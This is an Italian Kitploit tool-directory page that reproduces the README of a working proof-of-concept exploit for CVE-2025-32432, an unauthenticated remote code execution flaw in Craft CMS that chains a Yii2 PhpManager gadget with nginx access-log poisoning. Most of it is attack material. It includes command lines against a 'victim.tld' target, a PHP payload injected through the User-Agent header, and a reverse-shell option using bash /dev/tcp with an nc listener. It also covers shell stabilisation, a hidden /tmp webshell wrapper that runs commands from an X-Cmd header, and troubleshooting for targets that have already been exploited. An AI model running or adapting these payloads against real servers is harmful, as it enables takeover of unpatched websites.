Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-32432 — PoC funzionante per CVE-2025-32432 - Craft CMS <= 5.6.16 RCE non autenticata tramite gadget Yii2 PhpManager + avvelenamento del log di accesso di nginx | Kitploit
Strumenti/GitHubGitHub/cd-ratel/cve-2025-32432
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

PoC funzionante per CVE-2025-32432 - Craft CMS <= 5.6.16 RCE non autenticata tramite gadget Yii2 PhpManager + avvelenamento del log di accesso di nginx

Vedi Repository
2143 mesi faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-32432 - PoC per RCE non autenticata in Craft CMS

Proof-of-concept funzionante per CVE-2025-32432, una vulnerabilità di esecuzione remota di codice non autenticata in Craft CMS versioni fino a 5.6.16 incluse (interessa anche gli alberi 4.x e 3.x su percorsi di codice equivalenti).

Parole chiave di ricerca: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


TL;DR

root@kitploit:~
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

La modalità predefinita ha come target installazioni vanilla di Craft CMS. È incluso un flag --lab per la sfida carangueijada-20 del progetto hacklab-platform, che protegge Craft con un cookie di sessione personalizzato.


Vulnerabilità

Componente interessato: craft\controllers\AssetsController::actionGenerateTransform.

L'azione è registrata come allowAnonymous, quindi non è richiesta autenticazione. Accetta un parametro POST handle che viene poi spalmato in una chiamata Craft::createObject():

root@kitploit:~
$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

Quando $handle è un array associativo sotto il controllo dell'attaccante, lo spread inietta chiavi arbitrarie nella configurazione del costruttore. In particolare, una chiave che inizia con as viene interpretata da yii\base\Component::__set come un attaccamento di comportamento, che chiama Yii::createObject($config) sul valore prima di qualsiasi controllo di tipo:

root@kitploit:~
elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

La correzione di Yii2 nella 2.0.50 ha aggiunto il controllo is_subclass_of($value['class'], Behavior::class) che protegge questo ramo; le installazioni vulnerabili (Yii2 <= 2.0.49, o controllo corretto in precedenza rimosso) saltano del tutto il controllo.

Gadget: yii\rbac\PhpManager

PhpManager è una classe stock di Yii2. Il suo init() chiama load(), che chiama loadFromFile($this->itemFile). loadFromFile è letteralmente:

root@kitploit:~
protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require interpreta qualsiasi file su disco come PHP. Se il file contiene un blocco <?php ... ?>, quel blocco viene eseguito nel worker. Puntando itemFile a un file il cui contenuto è controllato dall'attaccante, si ottiene l'RCE completa.

Sink: access.log di nginx

Il sink affidabile tra installazioni è il file access.log di nginx in formato combinato. Registra l'User-Agent della richiesta letteralmente, inclusi caratteri non stampabili e gran parte della punteggiatura. Inviando una richiesta il cui User-Agent è <?php system('id'); exit; ?>, l'attaccante pianta un blocco PHP in un percorso noto. Puntando itemFile a /var/log/nginx/access.log, il require interpreta il log, eseguendo ogni blocco <?php ... ?> in ordine.

Due sottigliezze importanti:

  1. Niente doppi apici nel payload. nginx sfugge " come \x22 nel formato combinato, il che rompe l'analisi PHP della riga. Usa apici singoli o concatenazione chr().
  2. exit; alla fine in modo che require si interrompa prima di analizzare righe di log successive che potrebbero contenere altri payload malformati.

Versioni interessate

ComponenteVulnerabileCorretto
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50

Craft 5.6.17 aggiunge un controllo ImageTransformerInterface sulla classe trasformatore. Yii2 2.0.50 aggiunge un controllo di sottoclasse Behavior in Component::__set. Una qualsiasi delle due correzioni chiude questa specifica catena di gadget.


Requisiti

  • Python 3.8+
  • Libreria requests (pip install -r requirements.txt)
  • Raggiungibilità di rete all'endpoint HTTP(S) target
  • Un assetId valido di Craft sul target. Valore predefinito 2; sovrascrivi con -a <id> se necessario (l'asset id 1 è di solito l'avatar dell'amministratore).

Utilizzo

Craft CMS vanilla

root@kitploit:~
python3 exploit.py -u http://victim.tld -c 'id'

Craft montato sotto un prefisso di percorso

root@kitploit:~
python3 exploit.py -u http://victim.tld -p /cms -c 'id'

Asset ID personalizzato

root@kitploit:~
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

itemFile personalizzato (percorso log diverso, sessione FPM, ecc.)

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

Modalità lab (sfida carangueijada-20)

Il lab carangueijada-20 del progetto hacklab-platform protegge l'installazione di Craft con un cookie coopsess emesso da PATCH /login. Il flag --lab gestisce automaticamente quella stretta di mano.

root@kitploit:~
python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

Assicurati che www.carangueijada.coop risolva all'IP del lab (aggiungi a /etc/hosts se necessario).

Reverse shell

Il flag --revshell lancia un bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 connect-back, messo in background in modo che la richiesta POST del gadget torni immediatamente.

Flusso a due terminali (il più affidabile):

root@kitploit:~
# terminale 1 - listener sulla tua macchina
nc -lvnp 4444

# terminale 2 - lancia exploit
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

Flusso a un terminale con listener integrato:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen avvia nc -lvnp <lport> nello stesso terminale prima di lanciare il payload. Ctrl+C esce quando hai finito.

Esempio di sessione (lab):

root@kitploit:~
$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Payload reverse shell -> 10.200.0.20:4444
[!] Sulla TUA macchina esegui prima: nc -lvnp 4444
[*] Lancio tra 3s (dai tempo al listener di legarsi)...
[*] Modalità lab: PATCH /login per ottenere cookie coopsess
[*]     Cookie coopsess acquisito
[*] Verifica wrapper esistente a /tmp/.cve32432_w.php
[*] Attivazione gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell lanciato.

# nel listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

Stabilizzazione della shell (dopo la connessione, esegui all'interno della reverse shell):

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z per mandare nc in background
stty raw -echo; fg
# Invio due volte
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

Come funziona l'idempotenza

Al primo avvio, l'exploit avvelena access.log una volta per rilasciare un wrapper PHP nascosto a /tmp/.cve32432_w.php. Il wrapper legge l'header HTTP X-Cmd ed esegue system($_SERVER['HTTP_X_CMD']). Ogni invio successivo punta itemFile al file wrapper e passa il comando tramite header. Niente più avvelenamento, niente più inquinamento del log, niente più fallimenti "primo blocco <?php exit; vince".

Se vuoi forzare un nuovo rilascio, elimina /tmp/.cve32432_w.php sul target (puoi farlo tramite il wrapper stesso: --cmd 'rm /tmp/.cve32432_w.php').


Output di esempio

Esecuzione riuscita contro un target fresco:

root@kitploit:~
[*] Recupero token CSRF da http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Avvelenamento access.log tramite User-Agent (lunghezza=508)
[*]     richiesta di avvelenamento -> HTTP 200
[*] Attivazione gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

Ripiego su log inquinato (il target è già stato sfruttato in precedenza, un payload più vecchio esce prima del tuo):

root@kitploit:~
[!] Marcatori non trovati; il log sembra inquinato da avvelenamento precedente.
[!] Passaggio all'estrazione della coda del corpo. L'output qui sotto
[!] proviene dal PRIMO blocco <?php nel log (probabilmente un vecchio payload).
--- output di ripiego (potrebbe essere obsoleto) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Come si attiva effettivamente la catena

  1. POST /actions/assets/generate-transform arriva a AssetsController::actionGenerateTransform.
  2. Il gestore costruisce $config = ['class' => ImageTransform::class, ...$handle]. Il nostro handle[as gadget] sopravvive allo spread.
  3. Craft::createObject($config) chiama Yii::$container->get(ImageTransform::class, [], $config), che istanzia ImageTransform e scrive ogni chiave di configurazione rimanente tramite $transform->{$key} = $value.
  4. Quando il parser incontra as gadget, Component::__set corrisponde al prefisso as e chiama Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']).
  5. Yii::createObject costruisce PhpManager, esegue __construct() e poi init().
  6. PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.
  7. PHP analizza il file di log. Il testo non-PHP viene inviato a stdout (che finisce nel corpo della risposta HTTP). I blocchi <?php ... ?> vengono eseguiti nel worker.
  8. Il nostro payload piantato esegue system($cmd) e exit;. L'output appare nel corpo della risposta dove il blocco <?php era posizionato testualmente.

Risoluzione dei problemi

SintomoCausaSoluzione
HTTP 400 + "could not verify your data submission" / "Pedido invalido"Token CSRF non associato al cookie usato nella POSTLo script usa un singolo requests.Session; se reimplementi, assicurati che il jar dei cookie mantenga CRAFT_CSRF_TOKEN tra session-info e la POST.
HTTP 403 su /actions/...Prefisso percorso o vhost erratoUsa -p /prefix per corrispondere al punto in cui Craft è montato; assicurati che l'header Host corrisponda all'installazione.
csrfTokenValue vuoto / session-info restituisce HTMLHeader Accept erratoLo script invia già Accept: application/json; se lo rimuovi, ripristinalo.
L'output non mostra mai il tuo comandoaccess.log contiene già un payload <?php ... exit; ?> più vecchio che viene eseguito per primoRuota / tronca il log sul target. Se hai solo RCE come id, attendi il prossimo logrotate, o fai un pivot attraverso un file PHP scrivibile (es. /tmp/wrapper.php con system($_SERVER['HTTP_X_CMD']);) e usalo come itemFile in futuro.
assetId not foundID errato per quella installazioneSfoglia URL di asset pubblici per enumerare gli ID, o prova -a 1 poi -a 3..N.
Target correttoCraft >= 5.6.17 o Yii2 >= 2.0.50La catena è chiusa; trova un'altra classe vulnerabile o passa oltre.
Il payload causa un errore PHP fatalVoci di log più vecchie contengono PHP malformato che rompe il parser prima del tuo bloccoStessa soluzione del log inquinato: ruota il log.

Workaround per log inquinato (senza accesso admin)

Se riesci a eseguire in modo affidabile solo id (perché un vecchio avvelenamento exit; ha bloccato la catena), un pivot praticabile è far sì che quel singolo comando di tipo id scriva un wrapper PHP in un percorso che controlli, quindi cambiare itemFile su quel percorso per tutte le richieste successive:

root@kitploit:~
# avvelenamento one-shot con comando che scrive /tmp/w.php come www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# codifica CMD come chr() ...

Poi esegui:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /tmp/w.php \
                   -c 'whoami'

Ogni invio successivo legge /tmp/w.php (un file PHP pulito senza nulla prima del nostro payload) ed esegue il comando dall'header X-Cmd. Adatta lo script se vuoi questa modalità integrata.


File

root@kitploit:~
.
├── exploit.py        # il PoC
├── README.md         # questo file
├── requirements.txt  # dipendenze Python (solo `requests`)
└── LICENSE           # MIT

Riferimenti

  • Voce della knowledge base di Craft CMS: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • Advisory di sicurezza GitHub (GHSA-f3gw-9ww9-jmc3): https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
  • Analisi della campagna in the wild di SensePost: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Component.php di Yii2 (revisione vulnerabile): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php
  • Correzione Yii2 (2.0.50): https://github.com/yiisoft/yii2/pull/19938
  • Commit di Craft CMS che corregge 5.6.17: https://github.com/craftcms/cms/commit (cerca "ImageTransformerInterface" intorno al 2025-04-09)
  • Iniezione di log OWASP: https://owasp.org/www-community/attacks/Log_Injection
  • LFI-to-RCE tramite log nginx di HackTricks: https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log

Disclaimer

Questo proof-of-concept è pubblicato esclusivamente per ricerca difensiva, uso educativo e test di penetrazione autorizzati. Eseguirlo contro sistemi di cui non si è proprietari o per i quali non si ha esplicita autorizzazione scritta è illegale nella maggior parte delle giurisdizioni. L'autore non si assume alcuna responsabilità per un uso improprio.

Se gestisci un'installazione di Craft CMS, aggiorna alla 5.6.17 o successiva (o alla corrispondente release di patch 4.x / 3.x). La vulnerabilità è banalmente sfruttabile ed è stata utilizzata in campagne reali documentate da SensePost.

Licenza

MIT. Vedi LICENSE.

Scarica lo strumento